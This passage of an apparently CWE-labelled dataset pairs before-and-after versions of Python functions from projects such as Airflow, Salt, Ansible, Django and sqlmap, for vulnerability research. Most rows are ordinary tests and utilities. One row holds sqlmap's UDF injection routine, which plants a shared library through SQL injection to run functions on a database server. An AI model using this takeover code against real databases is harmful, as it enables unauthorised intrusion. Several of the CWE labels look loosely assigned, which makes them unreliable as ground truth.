        assert dag.task_group.children[""mytask""].upstream_task_ids == {""setuptask""}
        assert dag.task_group.children[""mytask""].downstream_task_ids == {""teardowntask""}
        assert dag.task_group.children[""teardowntask""].upstream_task_ids == {
            ""mytask"",
            ""setuptask"",
            ""teardowntask2"",
        }
        assert dag.task_group.children[""setuptask2""].upstream_task_ids == {""setuptask""}
        assert dag.task_group.children[""setuptask2""].downstream_task_ids == {""mytask2"", ""teardowntask2""}
        assert dag.task_group.children[""mytask2""].upstream_task_ids == {""setuptask2""}
        assert dag.task_group.children[""mytask2""].downstream_task_ids == {""teardowntask2""}
        assert dag.task_group.children[""teardowntask2""].upstream_task_ids == {""mytask2"", ""setuptask2""}"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/cmdmod.py,0,"def shells():
    '''
    Lists the valid shells on this system via the /etc/shells file

    .. versionadded:: 2015.5.0

    CLI Example::

        salt '*' cmd.shells
    '''
    shells_fn = '/etc/shells'
    ret = []
    if os.path.exists(shells_fn):
        try:
            with salt.utils.fopen(shells_fn, 'r') as shell_fp:
                lines = shell_fp.read().splitlines()
            for line in lines:
                line = line.strip()
                if line.startswith('#'):
                    continue
                elif not line:
                    continue
                else:
                    ret.append(line)
        except OSError:
            log.error(""File '{0}' was not found"".format(shells_fn))
    return ret",,saltstack/salt,58d3d703bbfe1002edc79500bcfdc18ec295dfa9,"def shells():
    '''
    Lists the valid shells on this system via the /etc/shells file

    .. versionadded:: 2015.5.0

    CLI Example::

        salt '*' cmd.shells
    '''
    shells_fn = '/etc/shells'
    ret = []
    if os.path.exists(shells_fn):
        try:
            with salt.utils.fopen(shells_fn, 'r') as shell_fp:
                lines = shell_fp.read().splitlines()
            for line in lines:
                line = line.strip()
                if line.startswith('#'):
                    continue
                elif not line:
                    continue
                else:
                    ret.append(line)
        except OSError:
            log.error(""File '{0}' was not found"".format(shells_fn))
    return ret"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/execution_time/test_supervisor.py,1,"def test_reading_from_pipes(self, captured_logs, time_machine, client_with_ti_start):
        def subprocess_main():
            # This is run in the subprocess!

            # Ensure we follow the ""protocol"" and get the startup message before we do anything else
            CommsDecoder()._get_response()

            import logging
            import warnings

            print(""I'm a short message"")
            sys.stdout.write(""Message "")
            print(""stderr message"", file=sys.stderr)
            # We need a short sleep for the main process to process things. I worry this timing will be
            # fragile, but I can't think of a better way. This lets the stdout be read (partial line) and the
            # stderr full line be read
            sleep(0.1)
            sys.stdout.write(""split across two writes\n"")

            logging.getLogger(""airflow.foobar"").error(""An error message"")

            warnings.warn(""Warning should be captured too"", stacklevel=1)

        line = lineno() - 2  # Line the error should be on

        instant = tz.datetime(2024, 11, 7, 12, 34, 56, 78901)
        time_machine.move_to(instant, tick=False)

        proc = ActivitySubprocess.start(
            dag_rel_path=os.devnull,
            bundle_info=FAKE_BUNDLE,
            what=TaskInstance(
                id=""4d828a62-a417-4936-a7a6-2b3fabacecab"",
                task_id=""b"",
                dag_id=""c"",
                run_id=""d"",
                try_number=1,
                dag_version_id=uuid7(),
            ),
            client=client_with_ti_start,
            target=subprocess_main,
        )

        rc = proc.wait()

        assert rc == 0
        assert captured_logs == unordered(
            [
                {
                    ""chan"": ""stdout"",
                    ""event"": ""I'm a short message"",
                    ""level"": ""info"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""chan"": ""stderr"",
                    ""event"": ""stderr message"",
                    ""level"": ""error"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""chan"": ""stdout"",
                    ""event"": ""Message split across two writes"",
                    ""level"": ""info"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""event"": ""An error message"",
                    ""level"": ""error"",
                    ""logger"": ""airflow.foobar"",
                    ""timestamp"": instant.replace(tzinfo=None),
                },
                {
                    ""category"": ""UserWarning"",
                    ""event"": ""Warning should be captured too"",
                    ""filename"": __file__,
                    ""level"": ""warning"",
                    ""lineno"": line,
                    ""logger"": ""py.warnings"",
                    ""timestamp"": instant.replace(tzinfo=None),
                },
            ]
        )",CWE-703,apache/airflow,7ea7fcdda67bbbec7fd41977e24c7d3fc9055e91,"def test_reading_from_pipes(self, captured_logs, time_machine, client_with_ti_start):
        def subprocess_main():
            # This is run in the subprocess!

            # Ensure we follow the ""protocol"" and get the startup message before we do anything else
            CommsDecoder()._get_response()

            import logging
            import warnings

            print(""I'm a short message"")
            sys.stdout.write(""Message "")
            print(""stderr message"", file=sys.stderr)
            # We need a short sleep for the main process to process things. I worry this timing will be
            # fragile, but I can't think of a better way. This lets the stdout be read (partial line) and the
            # stderr full line be read
            sleep(0.1)
            sys.stdout.write(""split across two writes\n"")

            logging.getLogger(""airflow.foobar"").error(""An error message"")

            warnings.warn(""Warning should be captured too"", stacklevel=1)

        line = lineno() - 2  # Line the error should be on

        instant = tz.datetime(2024, 11, 7, 12, 34, 56, 78901)
        time_machine.move_to(instant, tick=False)

        proc = ActivitySubprocess.start(
            dag_rel_path=os.devnull,
            bundle_info=FAKE_BUNDLE,
            what=TaskInstance(
                id=""4d828a62-a417-4936-a7a6-2b3fabacecab"",
                task_id=""b"",
                dag_id=""c"",
                run_id=""d"",
                try_number=1,
            ),
            client=client_with_ti_start,
            target=subprocess_main,
        )

        rc = proc.wait()

        assert rc == 0
        assert captured_logs == unordered(
            [
                {
                    ""chan"": ""stdout"",
                    ""event"": ""I'm a short message"",
                    ""level"": ""info"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""chan"": ""stderr"",
                    ""event"": ""stderr message"",
                    ""level"": ""error"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""chan"": ""stdout"",
                    ""event"": ""Message split across two writes"",
                    ""level"": ""info"",
                    ""logger"": ""task"",
                    ""timestamp"": ""2024-11-07T12:34:56.078901Z"",
                },
                {
                    ""event"": ""An error message"",
                    ""level"": ""error"",
                    ""logger"": ""airflow.foobar"",
                    ""timestamp"": instant.replace(tzinfo=None),
                },
                {
                    ""category"": ""UserWarning"",
                    ""event"": ""Warning should be captured too"",
                    ""filename"": __file__,
                    ""level"": ""warning"",
                    ""lineno"": line,
                    ""logger"": ""py.warnings"",
                    ""timestamp"": instant.replace(tzinfo=None),
                },
            ]
        )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/boto_ec2.py,0,"def get_unassociated_eip_address(domain='standard', region=None, key=None,
                                 keyid=None, profile=None):
    '''
    Return the first unassociated EIP

    domain
        Indicates whether the address is an EC2 address or a VPC address
        (standard|vpc).

    CLI Example:

    .. code-block:: bash

        salt-call boto_ec2.get_unassociated_eip_address

    .. versionadded:: 2016.3.0
    '''
    eip = None
    for address in get_all_eip_addresses(region=region, key=key, keyid=keyid,
                                         profile=profile):
        address_info = get_eip_address_info(addresses=address, region=region,
                                            key=key, keyid=keyid,
                                            profile=profile)[0]
        if address_info['instance_id']:
            log.debug('{0} is already associated with the instance {1}'.format(
                address, address_info['instance_id']))
            continue

        if address_info['network_interface_id']:
            log.debug('{0} is already associated with the network interface {1}'
                      .format(address, address_info['network_interface_id']))
            continue

        if address_info['domain'] == domain:
            log.debug(""The first unassociated EIP address in the domain '{0}' ""
                      ""is {1}"".format(domain, address))
            eip = address
            break

    if not eip:
        log.debug('No unassociated Elastic IP found!')

    return eip",,saltstack/salt,aea8a2d9d254869a5875cd54a0e8555e6ccc74ed,"def get_unassociated_eip_address(domain='standard', region=None, key=None,
                                 keyid=None, profile=None):
    '''
    Return the first unassociated EIP

    domain
        Indicates whether the address is a EC2 address or a VPC address
        (standard|vpc).

    CLI Example:

    .. code-block:: bash

        salt-call boto_ec2.get_unassociated_eip_address

    .. versionadded:: 2016.3.0
    '''
    eip = None
    for address in get_all_eip_addresses(region=region, key=key, keyid=keyid,
                                         profile=profile):
        address_info = get_eip_address_info(addresses=address, region=region,
                                            key=key, keyid=keyid,
                                            profile=profile)[0]
        if address_info['instance_id']:
            log.debug('{0} is already associated with the instance {1}'.format(
                address, address_info['instance_id']))
            continue

        if address_info['network_interface_id']:
            log.debug('{0} is already associated with the network interface {1}'
                      .format(address, address_info['network_interface_id']))
            continue

        if address_info['domain'] == domain:
            log.debug(""The first unassociated EIP address in the domain '{0}' ""
                      ""is {1}"".format(domain, address))
            eip = address
            break

    if not eip:
        log.debug('No unassociated Elastic IP found!')

    return eip"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/websocket.py,0,"def websocket_connect(url, io_loop=None, callback=None):
    """"""Client-side websocket support.

    Takes a url and returns a Future whose result is a
    `WebSocketClientConnection`.
    """"""
    if io_loop is None:
        io_loop = IOLoop.current()
    request = httpclient.HTTPRequest(url)
    request = httpclient._RequestProxy(
        request, httpclient.HTTPRequest._DEFAULTS)
    conn = WebSocketClientConnection(io_loop, request)
    if callback is not None:
        io_loop.add_future(conn.connect_future, callback)
    return conn.connect_future",CWE-Unknown,tornadoweb/tornado,9f3dec0c303cfb683776d8c3c7b9d8a7dd9acf8d,"def websocket_connect(url, io_loop=None, callback=None):
    """"""Client-side websocket support.

    Takes a url and returns a Future whose result is a `WebSocketConnection`.
    """"""
    if io_loop is None:
        io_loop = IOLoop.current()
    request = httpclient.HTTPRequest(url)
    request = httpclient._RequestProxy(
        request, httpclient.HTTPRequest._DEFAULTS)
    conn = WebSocketClientConnection(io_loop, request)
    if callback is not None:
        io_loop.add_future(conn.connect_future, callback)
    return conn.connect_future"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/defaults.py,0,"def merge(dest, src, merge_lists=False, in_place=True):
    """"""
    defaults.merge
        Allows deep merging of dicts in formulas.

    merge_lists : False
        If True, it will also merge lists instead of replace their items.

    in_place : True
        If True, it will merge into dest dict,
        if not it will make a new copy from that dict and return it.

    CLI Example:

    .. code-block:: bash

        salt '*' defaults.merge '{a: b}' '{d: e}'

    It is more typical to use this in a templating language in formulas,
    instead of directly on the command-line.
    """"""
    if in_place:
        merged = dest
    else:
        merged = copy.deepcopy(dest)
    return dictupdate.update(merged, src, merge_lists=merge_lists)",,saltstack/salt,084b3515323d39469cc457fa7fa73141a63dac65,"def merge(dest, src, merge_lists=False, in_place=True):
    """"""
    defaults.merge
        Allows deep merging of dicts in formulas.

    merge_lists : False
        If True, it will also merge lists instead of replace their items.

    in_place : True
        If True, it will merge into dest dict,
        if not it will make a new copy from that dict and return it.

        CLI Example:
        .. code-block:: bash

        salt '*' default.merge a=b d=e

    It is more typical to use this in a templating language in formulas,
    instead of directly on the command-line.
    """"""
    if in_place:
        merged = dest
    else:
        merged = copy.deepcopy(dest)
    return dictupdate.update(merged, src, merge_lists=merge_lists)"
,UNKNOWN,UNKNOWN,tests/api_connexion/test_security.py,1,"def test_session_not_created_on_api_request(self):
        self.client.get(""api/v1/dags"", environ_overrides={'REMOTE_USER': ""test""})
        assert all(cookie.name != ""session"" for cookie in self.client.cookie_jar)",CWE-703,apache/airflow,1c2909f8d69ade70803f10653e4845319ae99c0e,"def test_session_not_created_on_api_request(self):
        self.client.get(""api/v1/dags"", environ_overrides={'REMOTE_USER': ""test""})
        assert all(cookie.name != ""session"" for cookie in self.client.cookie_jar)"
,UNKNOWN,UNKNOWN,test/units/plugins/action/test_pause.py,1,"def test_pause_missing_curses(mocker, monkeypatch):
    monkeypatch.delitem(sys.modules, 'ansible.plugins.action.pause')

    dunder_import = __import__

    def _import(*args, **kwargs):
        if args[0] == 'curses':
            raise ImportError
        else:
            return dunder_import(*args, **kwargs)

    mocker.patch(builtin_import, _import)

    mod = importlib.import_module('ansible.plugins.action.pause')

    with pytest.raises(AttributeError):
        mod.curses  # pylint: disable=pointless-statement

    assert mod.HAS_CURSES is False
    assert mod.MOVE_TO_BOL == b'\r'
    assert mod.CLEAR_TO_EOL == b'\x1b[K'",CWE-703,ansible/ansible,1ba100a3b4749ba76603aee744fe40493dce593d,"def test_pause_missing_curses(mocker, monkeypatch):
    monkeypatch.delitem(sys.modules, 'ansible.plugins.action.pause')

    dunder_import = __import__

    def _import(*args, **kwargs):
        if args[0] == 'curses':
            raise ImportError
        else:
            return dunder_import(*args, **kwargs)

    mocker.patch(builtin_import, _import)

    mod = importlib.import_module('ansible.plugins.action.pause')

    with pytest.raises(AttributeError):
        mod.curses

    assert mod.HAS_CURSES is False
    assert mod.MOVE_TO_BOL == b'\r'
    assert mod.CLEAR_TO_EOL == b'\x1b[K'"
,UNKNOWN,UNKNOWN,tests/providers/cncf/kubernetes/operators/test_spark_kubernetes.py,1,"def test_template_body_templating(create_task_instance_of_operator, session):
    ti = create_task_instance_of_operator(
        SparkKubernetesOperator,
        template_spec={""foo"": ""{{ ds }}"", ""bar"": ""{{ dag_run.dag_id }}""},
        kubernetes_conn_id=""kubernetes_default_kube_config"",
        dag_id=""test_template_body_templating_dag"",
        task_id=""test_template_body_templating_task"",
        session=session,
        execution_date=timezone.datetime(2024, 2, 1, tzinfo=timezone.utc),
    )
    session.add(ti)
    session.commit()
    ti.render_templates()
    task: SparkKubernetesOperator = ti.task
    assert task.template_body == {""spark"": {""foo"": ""2024-02-01"", ""bar"": ""test_template_body_templating_dag""}}",CWE-703,apache/airflow,25342fad58d44db25149495aabe17d7184f1846b,"def test_template_body_templating(create_task_instance_of_operator, session):
    ti = create_task_instance_of_operator(
        SparkKubernetesOperator,
        template_spec={""foo"": ""{{ ds }}"", ""bar"": ""{{ dag_run.dag_id }}""},
        kubernetes_conn_id=""kubernetes_default_kube_config"",
        dag_id=""test_template_body_templating_dag"",
        task_id=""test_template_body_templating_task"",
        execution_date=timezone.datetime(2024, 2, 1, tzinfo=timezone.utc),
    )
    session.add(ti)
    session.commit()
    ti.render_templates()
    task: SparkKubernetesOperator = ti.task
    assert task.template_body == {""spark"": {""foo"": ""2024-02-01"", ""bar"": ""test_template_body_templating_dag""}}"
,UNKNOWN,UNKNOWN,tests/models/test_dag.py,1,"def test_clear_upstream_not_your_setup(self):
        """"""
        When you have a work task that comes after a setup, then if you clear upstream
        the setup (and its teardown) will be cleared even though strictly speaking you don't
        ""require"" it since, depending on speed of execution, it might be torn down by t1
        before / while w2 runs.  It just gets cleared by virtue of it being upstream, and
        that's what you requested.  And its teardown gets cleared too.  But w1 doesn't.
        """"""
        with DAG(dag_id=""test_dag"", start_date=pendulum.now()) as dag:
            s1, w1, w2, t1 = self.make_tasks(dag, ""s1, w1, w2, t1"")
            s1 >> w1 >> t1.as_teardown(setups=s1)
            s1 >> w2
            # w2 is downstream of s1, so when clearing upstream, it should clear s1 (since it
            # is upstream of w2) and t1 since it's the teardown for s1 even though not downstream of w1
            assert self.cleared_upstream(w2) == {s1, w2, t1}",CWE-703,apache/airflow,590412ba589fec20edde698057190f725770a29f,"def test_clear_upstream_not_your_setup(self):
        """"""
        When you have a work task that comes after a setup, then if you clear upstream
        the setup (and its teardown) will be cleared even though strictly speaking you don't
        ""require"" it since, depending on speed of execution, it might be torn down by t1
        before / while w2 runs.  It just gets cleared by virtue of it being upstream, and
        that's what you requested.  And it's teardown gets cleared too.  But w1 doesn't.
        """"""
        with DAG(dag_id=""test_dag"", start_date=pendulum.now()) as dag:
            s1, w1, w2, t1 = self.make_tasks(dag, ""s1, w1, w2, t1"")
            s1 >> w1 >> t1.as_teardown(setups=s1)
            s1 >> w2
            # w2 is downstream of s1, so when clearing upstream, it should clear s1 (since it
            # is upstream of w2) and t1 since it's the teardown for s1 even though not downstream of w1
            assert self.cleared_upstream(w2) == {s1, w2, t1}"
,UNKNOWN,UNKNOWN,tests/dbshell/test_mysql.py,1,"def test_options_override_settings_proper_values(self):
        settings_port = 444
        options_port = 555
        self.assertNotEqual(settings_port, options_port, 'test pre-req')
        expected_args = [
            'mysql',
            '--user=optionuser',
            '--host=optionhost',
            '--port=%s' % options_port,
            'optiondbname',
        ]
        expected_env = {'MYSQL_PWD': 'optionpassword'}
        for keys in [('database', 'password'), ('db', 'passwd')]:
            with self.subTest(keys=keys):
                database, password = keys
                self.assertEqual(
                    self.settings_to_cmd_args_env({
                        'NAME': 'settingdbname',
                        'USER': 'settinguser',
                        'PASSWORD': 'settingpassword',
                        'HOST': 'settinghost',
                        'PORT': settings_port,
                        'OPTIONS': {
                            database: 'optiondbname',
                            'user': 'optionuser',
                            password: 'optionpassword',
                            'host': 'optionhost',
                            'port': options_port,
                        },
                    }),
                    (expected_args, expected_env),
                )",CWE-259,django/django,4318e60a8025371a6da550eecc798e32d3864f9d,"def test_options_override_settings_proper_values(self):
        settings_port = 444
        options_port = 555
        self.assertNotEqual(settings_port, options_port, 'test pre-req')
        expected_args = [
            'mysql',
            '--user=optionuser',
            '--host=optionhost',
            '--port=%s' % options_port,
            'optiondbname',
        ]
        expected_env = {'MYSQL_PWD': 'optionpassword'}
        self.assertEqual(
            self.settings_to_cmd_args_env({
                'NAME': 'settingdbname',
                'USER': 'settinguser',
                'PASSWORD': 'settingpassword',
                'HOST': 'settinghost',
                'PORT': settings_port,
                'OPTIONS': {
                    'db': 'optiondbname',
                    'user': 'optionuser',
                    'passwd': 'optionpassword',
                    'host': 'optionhost',
                    'port': options_port,
                },
            }),
            (expected_args, expected_env),
        )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/google/gcp_compute_ssl_certificate_info.py,0,"def main():
    module = GcpModule(argument_spec=dict(filters=dict(type='list', elements='str')))

    if module._name == 'gcp_compute_ssl_certificate_facts':
        module.deprecate(""The 'gcp_compute_ssl_certificate_facts' module has been renamed to 'gcp_compute_ssl_certificate_info'"", version='2.13')

    if not module.params['scopes']:
        module.params['scopes'] = ['https://www.googleapis.com/auth/compute']

    return_value = {'resources': fetch_list(module, collection(module), query_options(module.params['filters']))}
    module.exit_json(**return_value)",,ansible/ansible,bf57668423f58794323aa3e2cefd2abb25bbeb1b,"def main():
    module = GcpModule(argument_spec=dict(filters=dict(type='list', elements='str')))

    if module._name == 'gcp_compute_ssl_certificate_facts':
        module.deprecate(""The 'gcp_compute_ssl_certificate_facts' module has been renamed to 'gcp_compute_ssl_certificate_info'"", version='2.13')

    if not module.params['scopes']:
        module.params['scopes'] = ['https://www.googleapis.com/auth/compute']

    items = fetch_list(module, collection(module), query_options(module.params['filters']))
    if items.get('items'):
        items = items.get('items')
    else:
        items = []
    return_value = {'resources': items}
    module.exit_json(**return_value)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/udf.py,0,"def udfInjectCustom(self):
        if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
            errMsg = ""UDF injection feature only works on MySQL and PostgreSQL""
            logger.error(errMsg)
            return

        if not isStackingAvailable() and not conf.direct:
            errMsg = ""UDF injection feature requires stacked queries SQL injection""
            logger.error(errMsg)
            return

        self.checkDbmsOs()

        if not self.isDba():
            warnMsg = ""functionality requested probably does not work because ""
            warnMsg += ""the curent session user is not a database administrator""
            logger.warn(warnMsg)

        if not conf.shLib:
            msg = ""what is the local path of the shared library? ""

            while True:
                self.udfLocalFile = readInput(msg)

                if self.udfLocalFile:
                    break
                else:
                    logger.warn(""you need to specify the local path of the shared library"")
        else:
            self.udfLocalFile = conf.shLib

        if not os.path.exists(self.udfLocalFile):
            errMsg = ""the specified shared library file does not exist""
            raise SqlmapFilePathException(errMsg)

        if not self.udfLocalFile.endswith("".dll"") and not self.udfLocalFile.endswith("".so""):
            errMsg = ""shared library file must end with '.dll' or '.so'""
            raise SqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith("".so"") and Backend.isOs(OS.WINDOWS):
            errMsg = ""you provided a shared object as shared library, but ""
            errMsg += ""the database underlying operating system is Windows""
            raise SqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith("".dll"") and Backend.isOs(OS.LINUX):
            errMsg = ""you provided a dynamic-link library as shared library, ""
            errMsg += ""but the database underlying operating system is Linux""
            raise SqlmapMissingMandatoryOptionException(errMsg)

        self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(""."")[0]
        self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(""."")[1]

        msg = ""how many user-defined functions do you want to create ""
        msg += ""from the shared library? ""

        while True:
            udfCount = readInput(msg, default=1)

            if isinstance(udfCount, basestring) and udfCount.isdigit():
                udfCount = int(udfCount)

                if udfCount <= 0:
                    logger.info(""nothing to inject then"")
                    return
                else:
                    break

            elif isinstance(udfCount, int):
                break

            else:
                logger.warn(""invalid value, only digits are allowed"")

        for x in range(0, udfCount):
            while True:
                msg = ""what is the name of the UDF number %d? "" % (x + 1)
                udfName = readInput(msg)

                if udfName:
                    self.udfs[udfName] = {}
                    break
                else:
                    logger.warn(""you need to specify the name of the UDF"")

            if Backend.isDbms(DBMS.MYSQL):
                defaultType = ""string""
            elif Backend.isDbms(DBMS.PGSQL):
                defaultType = ""text""

            self.udfs[udfName][""input""] = []

            default = 1
            msg = ""how many input parameters takes UDF ""
            msg += ""'%s'? (default: %d) "" % (udfName, default)

            while True:
                parCount = readInput(msg, default=default)

                if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0:
                    parCount = int(parCount)
                    break

                elif isinstance(parCount, int):
                    break

                else:
                    logger.warn(""invalid value, only digits >= 0 are allowed"")

            for y in range(0, parCount):
                msg = ""what is the data-type of input parameter ""
                msg += ""number %d? (default: %s) "" % ((y + 1), defaultType)

                while True:
                    parType = readInput(msg, default=defaultType)

                    if isinstance(parType, basestring) and parType.isdigit():
                        logger.warn(""you need to specify the data-type of the parameter"")

                    else:
                        self.udfs[udfName][""input""].append(parType)
                        break

            msg = ""what is the data-type of the return ""
            msg += ""value? (default: %s) "" % defaultType

            while True:
                retType = readInput(msg, default=defaultType)

                if isinstance(retType, basestring) and retType.isdigit():
                    logger.warn(""you need to specify the data-type of the return value"")
                else:
                    self.udfs[udfName][""return""] = retType
                    break

        success = self.udfInjectCore(self.udfs)

        if success is False:
            self.cleanup(udfDict=self.udfs)
            return False

        msg = ""do you want to call your injected user-defined ""
        msg += ""functions now? [Y/n/q] ""
        choice = readInput(msg, default=""Y"")

        if choice[0] in (""n"", ""N""):
            self.cleanup(udfDict=self.udfs)
            return
        elif choice[0] in (""q"", ""Q""):
            self.cleanup(udfDict=self.udfs)
            raise SqlmapUserQuitException

        while True:
            udfList = []
            msg = ""which UDF do you want to call?""

            for udf in self.udfs.keys():
                udfList.append(udf)
                msg += ""\n[%d] %s"" % (len(udfList), udf)

            msg += ""\n[q] Quit""

            while True:
                choice = readInput(msg)

                if choice and choice[0] in (""q"", ""Q""):
                    break
                elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
                    choice = int(choice)
                    break
                elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
                    break
                else:
                    warnMsg = ""invalid value, only digits >= 1 and ""
                    warnMsg += ""<= %d are allowed"" % len(udfList)
                    logger.warn(warnMsg)

            if not isinstance(choice, int):
                break

            cmd = """"
            count = 1
            udfToCall = udfList[choice - 1]

            for inp in self.udfs[udfToCall][""input""]:
                msg = ""what is the value of the parameter number ""
                msg += ""%d (data-type: %s)? "" % (count, inp)

                while True:
                    parValue = readInput(msg)

                    if parValue:
                        if ""int"" not in inp and ""bool"" not in inp:
                            parValue = ""'%s'"" % parValue

                        cmd += ""%s,"" % parValue

                        break
                    else:
                        logger.warn(""you need to specify the value of the parameter"")

                count += 1

            cmd = cmd[:-1]
            msg = ""do you want to retrieve the return value of the ""
            msg += ""UDF? [Y/n] ""
            choice = readInput(msg, default=""Y"")

            if choice[0] in (""y"", ""Y""):
                output = self.udfEvalCmd(cmd, udfName=udfToCall)

                if output:
                    conf.dumper.string(""return value"", output)
                else:
                    dataToStdout(""No return value\n"")
            else:
                self.udfExecCmd(cmd, udfName=udfToCall, silent=True)

            msg = ""do you want to call this or another injected UDF? [Y/n] ""
            choice = readInput(msg, default=""Y"")

            if choice[0] not in (""y"", ""Y""):
                break

        self.cleanup(udfDict=self.udfs)",,sqlmapproject/sqlmap,75ed5f767c2484f53833a225171331465391f714,"def udfInjectCustom(self):
        if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
            errMsg = ""UDF injection feature only works on MySQL and PostgreSQL""
            logger.error(errMsg)
            return

        if not isStackingAvailable() and not conf.direct:
            errMsg = ""UDF injection feature requires stacked queries SQL injection""
            logger.error(errMsg)
            return

        self.checkDbmsOs()

        if not self.isDba():
            warnMsg = ""functionality requested probably does not work because ""
            warnMsg += ""the curent session user is not a database administrator""
            logger.warn(warnMsg)

        if not conf.shLib:
            msg = ""what is the local path of the shared library? ""

            while True:
                self.udfLocalFile = readInput(msg)

                if self.udfLocalFile:
                    break
                else:
                    logger.warn(""you need to specify the local path of the shared library"")
        else:
            self.udfLocalFile = conf.shLib

        if not os.path.exists(self.udfLocalFile):
            errMsg = ""the specified shared library file does not exist""
            raise SqlmapFilePathException(errMsg)

        if not self.udfLocalFile.endswith("".dll"") and not self.udfLocalFile.endswith("".so""):
            errMsg = ""shared library file must end with '.dll' or '.so'""
            raise SqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith("".so"") and Backend.isOs(OS.WINDOWS):
            errMsg = ""you provided a shared object as shared library, but ""
            errMsg += ""the database underlying operating system is Windows""
            raise SqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith("".dll"") and Backend.isOs(OS.LINUX):
            errMsg = ""you provided a dynamic-link library as shared library, ""
            errMsg += ""but the database underlying operating system is Linux""
            raise SqlmapMissingMandatoryOptionException(errMsg)

        self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(""."")[0]
        self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(""."")[1]

        msg = ""how many user-defined functions do you want to create ""
        msg += ""from the shared library? ""

        while True:
            udfCount = readInput(msg, default=1)

            if isinstance(udfCount, basestring) and udfCount.isdigit():
                udfCount = int(udfCount)

                if udfCount <= 0:
                    logger.info(""nothing to inject then"")
                    return
                else:
                    break

            elif isinstance(udfCount, int):
                break

            else:
                logger.warn(""invalid value, only digits are allowed"")

        for x in range(0, udfCount):
            while True:
                msg = ""what is the name of the UDF number %d? "" % (x + 1)
                udfName = readInput(msg)

                if udfName:
                    self.udfs[udfName] = {}
                    break
                else:
                    logger.warn(""you need to specify the name of the UDF"")

            if Backend.isDbms(DBMS.MYSQL):
                defaultType = ""string""
            elif Backend.isDbms(DBMS.PGSQL):
                defaultType = ""text""

            self.udfs[udfName][""input""] = []

            default = 1
            msg = ""how many input parameters takes UDF ""
            msg += ""'%s'? (default: %d) "" % (udfName, default)

            while True:
                parCount = readInput(msg, default=default)

                if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0:
                    parCount = int(parCount)
                    break

                elif isinstance(parCount, int):
                    break

                else:
                    logger.warn(""invalid value, only digits >= 0 are allowed"")

            for y in range(0, parCount):
                msg = ""what is the data-type of input parameter ""
                msg += ""number %d? (default: %s) "" % ((y + 1), defaultType)

                while True:
                    parType = readInput(msg, default=defaultType)

                    if isinstance(parType, basestring) and parType.isdigit():
                        logger.warn(""you need to specify the data-type of the parameter"")

                    else:
                        self.udfs[udfName][""input""].append(parType)
                        break

            msg = ""what is the data-type of the return ""
            msg += ""value? (default: %s) "" % defaultType

            while True:
                retType = readInput(msg, default=defaultType)

                if isinstance(retType, basestring) and retType.isdigit():
                    logger.warn(""you need to specify the data-type of the return value"")
                else:
                    self.udfs[udfName][""return""] = retType
                    break

        success = self.udfInjectCore(self.udfs)

        if success is False:
            self.cleanup(udfDict=self.udfs)
            return False

        msg = ""do you want to call your injected user-defined ""
        msg += ""functions now? [Y/n/q] ""
        choice = readInput(msg, default=""Y"")

        if choice[0] in (""n"", ""N""):
            self.cleanup(udfDict=self.udfs)
            return
        elif choice[0] in (""q"", ""Q""):
            self.cleanup(udfDict=self.udfs)
            raise SqlmapUserQuitException

        while True:
            udfList = []
            msg = ""which UDF do you want to call?""

            for udf in self.udfs.keys():
                udfList.append(udf)
                msg += ""\n[%d] %s"" % (len(udfList), udf)

            msg += ""\n[q] Quit""

            while True:
                choice = readInput(msg)

                if choice and choice[0] in (""q"", ""Q""):
                    break
                elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
                    choice = int(choice)
                    break
                elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
                    break
                else:
                    warnMsg = ""invalid value, only digits >= 1 and ""
                    warnMsg += ""<= %d are allowed"" % len(udfList)
                    logger.warn(warnMsg)

            cmd = """"
            count = 1
            udfToCall = udfList[choice - 1]

            for inp in self.udfs[udfToCall][""input""]:
                msg = ""what is the value of the parameter number ""
                msg += ""%d (data-type: %s)? "" % (count, inp)

                while True:
                    parValue = readInput(msg)

                    if parValue:
                        if ""int"" not in inp and ""bool"" not in inp:
                            parValue = ""'%s'"" % parValue

                        cmd += ""%s,"" % parValue

                        break
                    else:
                        logger.warn(""you need to specify the value of the parameter"")

                count += 1

            cmd = cmd[:-1]
            msg = ""do you want to retrieve the return value of the ""
            msg += ""UDF? [Y/n] ""
            choice = readInput(msg, default=""Y"")

            if choice[0] in (""y"", ""Y""):
                output = self.udfEvalCmd(cmd, udfName=udfToCall)

                if output:
                    conf.dumper.string(""return value"", output)
                else:
                    dataToStdout(""No return value\n"")
            else:
                self.udfExecCmd(cmd, udfName=udfToCall, silent=True)

            msg = ""do you want to call this or another injected UDF? [Y/n] ""
            choice = readInput(msg, default=""Y"")

